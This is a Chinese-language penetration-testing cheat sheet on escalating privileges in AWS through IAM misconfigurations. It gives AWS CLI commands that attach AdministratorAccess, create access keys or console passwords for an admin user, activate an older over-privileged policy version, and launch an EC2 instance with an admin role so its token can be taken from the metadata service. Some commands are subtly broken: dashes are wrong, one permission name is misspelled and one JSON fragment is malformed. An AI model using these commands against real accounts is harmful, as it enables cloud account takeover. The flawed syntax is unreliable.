# 权限提升

```
影子管理员Shadow Admin
一旦您有权访问云用户，您需要查看是否可以升级您的权限。 在云中，权限提升是通过 IAM 完成的，通常是由具有某些权限集的用户引起的。 在 AWS 中，有 21 个公知的 IAM 权限可用于提权。
● https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/
```

**iam:CreatePolicyVersion**

```
iam:CreatePolicyVersion 权限允许用户创建现有策略的新版本,如果您的用户附加了策略，您可以将“操作”更改为“*”，将“资源”更改为“*”，这样您就可以访问所有内容
如：
"Action": "iam:CreatePolicyVersion" 改为"Action": "iam:*"
"Resource": "arn:aws:iam::*:policy/*"改为"Resource": "*"
最后，您可以使用以下命令更新您的策略，为您提供管理员级别的访问权限：
```

> aws iam create-policy-version –policy-arn target\_policy\_arn –policy-document file://path/to/administrator/policy.json –set-as-default

**iam:SetDefaultPolicyVersion2**

```
如果管理员不小心赋予了策略过多的权限，他们可能会使用权限较少的版本更新策略。具有 iam:SetDefaultPolicyVersion2 的用户可以选择哪个版本的策略处于活动状态。这允许用户通过激活具有更高权限的旧版本策略来潜在地提升他们的权限。例如，如果策略的版本 1 具有比版本 2 更高的权限，我们可以将策略回滚到版本 1，从而为该用户提供更高的权限，如下所示
> aws iam set-default-policy-version --policy-arn arn:aws:iam::1231124:policy/VulnerablePolicy --version-id v1
```

**iam:PassRole and ec2:RunInstances**

```
如果用户具有 PassRole 和 RunInstances 权限，他们可以将权限提升到另一个角色。 PassRole 权限允许用户将角色传递给另一个 AWS 资源。请记住，角色可以被认为是机器等资源可以使用的用户，并且具有自己的权限集。接下来，RuneInstances 权限允许我们运行资源，特别是虚拟机 AKA EC2 实例。
"Action":["iam:PassRole","ec2":RunInstances] 
首先，您需要找到一个您也想升级的角色。 获得目标角色后，您需要启动一个附加了目标角色的 EC2 实例。 最后通过 SSH 进入 EC2 实例并查询元数据服务以窃取目标的 AWS 令牌。 使用以下命令创建附加了目标角色“admin”的 EC2 实例：
> aws ec2 run-instances --image-id ami-1de55d875628d2fe0 --instance-type t2.micro --iam-instance-profile Name=admin --key-name "Public" --security-group-ids sg-c91s2ae8 --region us-east-1
实例启动可能需要几分钟时间，但一旦启动，您可以 SSH 进入并点击元数据服务
```

**iam: CreateAccessKey**

```
iam:CreateAccessKey 权限可用于为其他用户创建访问密钥。访问密钥充当凭据，可用于以用户身份发出命令。
如果策略的资源部分设置为“*”，同时拥有此权限集，我们实际上可能会危及环境中的每个用户。
> aws iam create-access-key --user-name admin
如上所示，我们为管理员用户创建了一个访问密钥。我们所要做的就是导入访问密钥，我们就可以开始了。
```

**iam:CreateLoginProfile**

```
iam:CreateLoginProfile 权限用于为尚未设置控制台密码的用户创建控制台密码。拥有此权限使攻击者能够
为目标创建一个密码，该密码可用于通过控制台登录。
> aws iam create-login-profile --user-name admin --password Password123！ --no-password-reset-required
```

**iam:UpdateLoginProfile**

```
与 iam:CreateLoginProfile 类似，iam:UpdateLoginProfile 允许我们为用户设置控制台密码。唯一的区别是用户必须已经设置了控制台密码。
> aws iam update-login-profile --user-name admin --password Password234！ --no-password-reset-required
```

**iam:AttachUserPolicy**

```
iam:AttachUserPolicy 权限使用户能够将策略附加到用户。如果将此权限附加到您的用户，您可能会将 AWS 托管 AdministratorAccess 策略附加到您的帐户，从而为您提供对云环境的管理员权限。
> aws iam attach-user-policy --user-name target_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
```

**iam:AttachGroupPolicy**

```
iam:AttachGroupPolicy 权限的工作方式与 iam:AttachUserPolicy 相同，只是您将策略附加到组而不是用户。只需确保您是您附加该策略的组的一部分。
> aws iam attach-group-policy --group-name target_group --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
```

**iam:AttachRolePolicy**

```
iam:AttachRolePolicy 权限的工作方式与 iam:AttachUserPolicy 和 iam:AttachGroupPolicy 相同，只是您将策略附加到角色。只需确保您的用户能够模拟该角色即可。
> aws iam attach-role-policy --role-name target_role --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
```

**iam:PutUserPolicy**

```
此权限允许您创建或更新内联策略。如果设置了此权限，攻击者可以利用它添加具有访问管理员级别访问权限的策略，如下所示：
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/907.png)

```
接下来使用以下命令将其作为内联策略添加到目标用户。 执行后，该用户应具有对云环境的管理员级别访问权限
> aws iam put-user-policy –user-name TARGET_USER –policy-name my_inline_policy –policy-document ./ADMIN_POLICY_TO_ADD.json
```

**iam:PutGroupPolicy**

```
此策略与 iam:PutUserPolicy 权限非常相似，只是它允许您将内联策略添加/更新到组而不是用户。同样，您需要创建一个具有管理员级别访问权限的策略，并将其作为内联策略添加到您的用户有权访问的组中。
> aws iam put-group-policy –group-name GROUP_NAME –policy-name group_inline_policy –policy-document ./ADMIN_POLICY_TO_ADD.json
```

**iam:PutRolePolicy**

```
同样，此权限与 iam:PutUserPolicy 和 iam:PutGroupPolicy 非常相似。唯一的区别是这使您可以添加/更新角色的内联策略。创建一个管理员级别的策略并将其添加到您可以担任的角色中。
> aws iam put-role-policy –role-name ROLE_NAME –policy-name role_inline_policy –policy-document ./ADMIN_POLICY_TO_ADD.json
```

**iam:AddUserToGroup**

```
此角色允许您将用户添加到组。攻击者可以通过将其用户添加到具有更高权限的组来滥用这一点。如果有一个具有管理员级别权限的组，请尝试将您的用户添加到其中，如果成功，您的用户也应该具有管理员级别权限。
> aws iam add-user-to-group –group-name GROUP_NAME –user-name USER_NAME
```
